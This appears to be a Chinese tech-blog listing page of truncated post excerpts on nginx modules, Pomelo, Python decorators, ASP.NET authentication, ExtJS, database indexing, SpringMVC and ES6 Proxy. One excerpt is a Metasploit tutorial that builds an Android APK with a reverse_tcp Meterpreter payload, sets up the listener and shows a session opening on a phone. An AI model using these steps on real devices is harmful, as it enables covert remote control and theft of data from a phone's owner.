handler

nginx-学习笔记5

蓝咒 提交于 2020-02-16 22:56:48
handler模块 基本上作为第三方开发者最可能开发的就是三种类型的模块,即handler,filter和load-balancer。Handler模块就是接受来自客户端的请求并产生输出的模块。有些地方说upstream模块实际上也是一种handler模块,只不过它产生的内容来自于从后端服务器获取的,而非在本机产生的。 如果有多个handler模块都关联了同一个location,那么实际上只有一个handler模块真正会起作用。 handler模块处理的结果通常有三种情况: 处理成功,处理失败(处理的时候发生了错误)或者是拒绝去处理。在拒绝处理的情况下,这个location的处理就会由默认的handler模块来进行处理。 模块的基本结构 Nginx的配置信息分成了几个作用域(scope,有时也称作上下文),这就是main, server, 以及location。 例: typedef struct { ngx_str_t hello_string; ngx_int_t hello_counter; }ngx_http_hello_loc_conf_t; 一个模块的配置指令是定义在一个静态数组中的。以hello module为例: static ngx_command_t ngx_http_hello_commands[] = { { ngx_string("hello_string

MSF初体验—入侵安卓手机

血红的双手。 提交于 2020-02-16 07:20:40
1.生成apk程序 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 R > apk.apk 2.启动msfconsole 3.启动use exploit/multi/handler模块 4.set payload android/meterpreter/reverse_tcp 5.show options 6.准备工作 msf exploit(handler) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(handler) > set LPORT 5555 LPORT => 5555 msf exploit(handler) > exploit(运行apk程序) [*] Started reverse TCP handler on 192.168.1.101:5555 [*] Starting the payload handler... [*] Sending stage (63194 bytes) to 192.168.1.105 [*] Meterpreter session 1 opened (192.168.1.101:5555 -> 192.168.1.105:57629) at 2017-06

Pomelo术语解释

烈酒焚心 提交于 2020-02-16 03:55:03
gate服务器 一个应用的gate服务器,一般不参与rpc调用,也就是说其配置项里可以没有port字段,仅仅有clientPort字段,它的作用是做前端的负载均衡。客户端往往首先向gate服务器发出请求,gate会给客户端分配具体的connector服务器。具体的分配策略一般是根据客户端的某一个key做hash得到connector的id,这样就可以实现各个connector服务器的负载均衡。 connector服务器 connector服务器接收客户端的连接请求,创建与客户端的连接,维护客户端的session信息。同时,接收客户端对后端服务器的请求,按照用户配置的路由策略,将请求路由给具体的后端服务器。当后端服务器处理完请求或者需要给客户端推送消息的时候,connector服务器同样会扮演一个中间角色,完成对客户端的消息发送。connector服务器会同时拥有clientPort和port,其中clientPort用来监听客户端的连接,port端口用来给后端提供服务。 应用逻辑服务器 gate服务器和connector服务器又都被称作前端服务器,应用逻辑服务器是后端服务器,它完成实际的应用逻辑,提供服务给客户端,当然客户端的请求是通过前端服务器路由过来的。后端服务器之间也会通过rpc调用而有相互之间的交互。由于后端服务器不会跟客户端直接有连接

Python装饰器高级用法

邮差的信 提交于 2020-02-15 10:41:17
在 Python 中, 装饰器 一般用来修饰函数,实现公共功能,达到代码复用的目的。在函数定义前加上 @xxxx ,然后函数就注入了某些行为,很神奇!然而,这只是 语法糖 而已。 场景 假设,有一些工作函数,用来对数据做不同的处理: def work_bar(data): pass def work_foo(data): pass 我们想在函数调用前/后输出日志,怎么办? 傻瓜解法 logging.info('begin call work_bar') work_bar(1) logging.info('call work_bar done') 如果有多处代码调用呢?想想就怕! 函数包装 傻瓜解法无非是有太多代码冗余,每次函数调用都要写一遍 logging 。可以把这部分冗余逻辑封装到一个新函数里: def smart_work_bar(data): logging.info('begin call: work_bar') work_bar(data) logging.info('call doen: work_bar') 这样,每次调用 smart_work_bar 即可: smart_work_bar(1) # ... smart_work_bar(some_data) 通用闭包 看上去挺完美……然而,当 work_foo 也有同样的需要时,还要再实现一遍 smart_work

ASP.NET Web API身份验证和授权

夙愿已清 提交于 2020-02-14 23:00:50
英语原文地址: http://www.asp.net/web-api/overview/security/authentication-and-authorization-in-aspnet-web-api 本文是作者所理解和翻译的内容。 这篇文章包括两部分:身份验证和授权。 身份验证用来确定一个用户的身份。例如,Alice用她的用户名和密码登陆系统,服务器用她的用户名和密码来确定她的身份。 授权是判断一个用户是否允许执行某一操作。例如,Alice有获取资源的许可,但不能创建资源。 身份验证 Web API有两种方式进行身份验证:在宿主程序中的身份验证和使用 HTTP Message Handlers进行身份验证。 如果你的Web API运行在IIS中,那么身份验证程序就是HTTP Modules,可以使用内置的asp.net身份验证模块进行身份验证,也可以自己写一个身份验证模块完成自定义身份验证。 当在宿主程序中进行身份验证时,宿主程序会创建一个principal对象,这个对象的类实现了 IPrincipal 接口,用来代表当前代码运行的安全上下文。宿主通过设置 Thread.CurrentPrincipal 将主体附加到当前进程。principal包含一个关联用户信息的 Identity 对象,如果用户验证通过, Identity.IsAuthenticated 属性返回

EXTJS-Grid

a 夏天 提交于 2020-02-14 05:43:22
///HTTP Proxy方式 var prox=new Ext.data.HttpProxy({url:"../DataService.aspx?Action=XML"}); var jprox=new Ext.data.HttpProxy({url:"../DataService.aspx?Action=JSON"}); Ext.Ajax.request({ url:"../DataService.aspx?Action=JSON ", success:xtoss, failure:xtoss }) ///record 指明存储数据的节点名称 totalRecord 总记录数 success 成功情况 var reader = new Ext.data.XmlReader({record: "item"},[ {name: 'Name', mapping: 'Name'}, {name: 'Num'}, {name: 'PassWord'} ]); ///读取JSON数据格式 var jread=new Ext.data.JsonReader({ root: 'Rows', totalProperty: 'RecordCount', fields: [ {name: 'Num', type: 'string'}, {name: 'PassWord', type: 'string

从原理到优化,深入浅出数据库索引

半世苍凉 提交于 2020-02-13 23:44:06
MySQL官方对索引的定义为:索引(Index)是帮助MySQL高效获取数据的数据结构。 数据库查询是数据库的最主要功能之一,我们都希望查询数据的速度能尽可能的快,因此数据库系统的设计者会从查询算法的角度进行优化,这篇文章对索引做一个系统的梳理,希望对大家有帮助。 一、MySQL有哪些索引类型 索引的分类可以从多个角度进行,下面分别从数据结构,物理存储和业务逻辑三个维度进行划分。 1、从数据结构角度 (1)B+树索引(O(log(n))) 关于B+树索引,后面会深入解析 (2)hash索引 仅仅能满足"=","IN"和"<=>"查询,不能使用范围查询 其检索效率非常高,索引的检索可以一次定位,不像B-Tree 索引需要从根节点到枝节点,最后才能访问到页节点这样多次的IO访问,所以 Hash 索引的查询效率要远高于 B-Tree 索引 只有Memory存储引擎显示支持hash索引 (3)FULLTEXT索引 现在MyISAM和InnoDB引擎都支持了 (4)R-Tree索引 用于对GIS数据类型创建SPATIAL索引 2、从物理存储角度 (1)聚集索引(clustered index) 正文内容按照一个特定维度排序存储,这个特定的维度就是聚集索引; Innodb存储引擎中行记录就是按照聚集索引维度顺序存储的,Innodb的表也称为索引表;因为行记录只能按照一个维度进行排序

委派模式精讲

扶醉桌前 提交于 2020-02-13 21:14:47
委派模式是一种行为型模式,这种模式的原理为类 B 和类 A 是两个互相没有任何关系的类,B 具有和 A 一模一样的方法和属性;并且调用 B 中的方法, 属性就是调用 A 中同名的方法和属性。B 好像就是一个受 A 授权委托的中介。第三方的代码不需要知道 A 的 存在,也不需要和 A 发生直接的联系,通过 B 就可以直接使用 A 的功能,这样既能够使用到 A 的各种功 能,又能够很好的将 A 保护起来了,一举两得。下面通过两个代码进行演示: 第一个是Servlet的DispatcherServlet: package pattern.delegate; import pattern.delegate.controllers.MemberAction; import pattern.template.entity.Member; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List;

SpringMVC 进阶

旧街凉风 提交于 2020-02-13 20:09:39
请求限制 一些情况下我们可能需要对请求进行限制,比如仅允许POST,GET等... RequestMapping注解中提供了多个参数用于添加请求的限制条件 value 请求地址 path 请求地址 method 请求方法 headers 请求头中必须包含指定字段 params 必须包含某个请求参数 consumes 接受的数据媒体类型 (与请求中的contentType匹配才处理) produce 返回的媒体类型 (与请求中的accept匹配才处理) 案例: @RequestMapping(value = "/editCourse",method = RequestMethod.POST,headers = {"id"},params = {"name"},consumes = {"text/plain"},produces = {"text/html"}) //含义:url为/editCourse 请求方法为POST hander必须包含id字段 参数必须包含name 只接受text/plain类型数据 返回数据类型为text/html 为了简化书写,MVC还提供了集合路径和方法限制的注解,包括常见的请求方法: PostMapping GetMapping DeleteMapping PutMapping 例: @PostMapping("/editCourse")

ES6 proxy(2)

帅比萌擦擦* 提交于 2020-02-13 11:31:24
proxy 概述 proxy用于修改某些操作的默认行为,等同于在语言层面做出修改,所以属于一种"元编程",即对编程语言进行编程。 proxy可以理解为在目标对象前假设一个“拦截”层,外界对该对象的访问都必须先通过这层拦截,因此提供了一种机制可以对外界的访问进行过滤和改写。Proxy这个词的原意是代理,用在这里表示由他来“代理”某些操作,可以翻译为“代理器”. es6提供proxy构造函数,用于生成proxy实例 proxy对象的所有用法都是上面这种形式,不同的只是handler参数的写法,其中new Peoxy()表示生成一个proxy实例,target参数表示要拦截的目标对象,handler参数也是一个对象,用来定制拦截行为。 proxy实例方法 -->defineProperty() defineProperty()拦截Object.defineProperty操作 { var handler = { defineProperty ( target , key , descriptor ) { return false ; } } ; var target = { foo : '123' } ; var proxy = new Proxy ( target , handler ) ; console . log ( Object . defineProperty ( proxy